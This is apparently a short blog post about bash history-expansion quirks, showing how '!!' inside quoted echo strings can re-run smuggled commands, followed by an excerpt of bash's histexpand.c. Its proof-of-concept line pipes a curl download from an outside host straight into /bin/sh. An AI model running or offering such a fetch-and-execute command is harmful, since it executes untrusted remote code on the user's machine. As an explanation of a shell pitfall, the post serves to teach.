Geekness – closer to the world

Geeky at the Lake of Zurich

Fun With The Command Line

Type in the following commands and have a good time:

!! | !!

echo “He says:\”Hello World!\””

and stranger:

echo “He says:\”Hello World\!\””

echo !!

echo !!!!

echo “He says:\”Hello World!\””

And another one:

echo “;expr 1 + 1;echo ”
echo “!!”

expr 1 + 1 can be any command (like wget, sftp, reboot …)

Proof of concept:

echo “; curl http://cocaman.net/demo_bash.html | /bin/sh; echo ”
echo “!!”

The problem with ! escaping lies in the histexpand.c file from your shell:

/* The event can be specified in a number of ways.
     !!   the previous command
     !n   command line N
     !-n  current command-line minus N
     !str the most recent command starting with STR
     !?str[?]
	  the most recent command containing STR

     All values N are determined via HISTORY_BASE. */

  i = *caller_index;

  if (string[i] != history_expansion_char)
    return ((char *)NULL);

// more code in between

 /* Handle !! case. */
  if (string[i] == history_expansion_char)
    {
      i++;
      which = history_base + (history_length - 1);
      *caller_index = i;
      RETURN_ENTRY (entry, which);
    }

// more code in between

  /* If it is followed by something that starts a word specifier,
     then !! is implied as the event specifier. */

  if (member (string[i + 1], ":$*%^"))
    {
      char fake_s[3];
      int fake_i = 0;
      i++;
      fake_s[0] = fake_s[1] = history_expansion_char;
      fake_s[2] = '\0';
      event = get_history_event (fake_s, &fake_i, 0);
    }
  else if (string[i + 1] == '#')
    {
      i += 2;
      event = current_line;
    }
  else
    {
      int quoted_search_delimiter = 0;

      /* If the character before this `!' is a double or single
	 quote, then this expansion takes place inside of the
	 quoted string.  If we have to search for some text ("!foo"),
	 allow the delimiter to end the search string. */
      if (i && (string[i - 1] == '\'' || string[i - 1] == '"'))
	quoted_search_delimiter = string[i - 1];
      event = get_history_event (string, &i, quoted_search_delimiter);
    }

2 thoughts on “Fun With The Command Line

Comments are closed.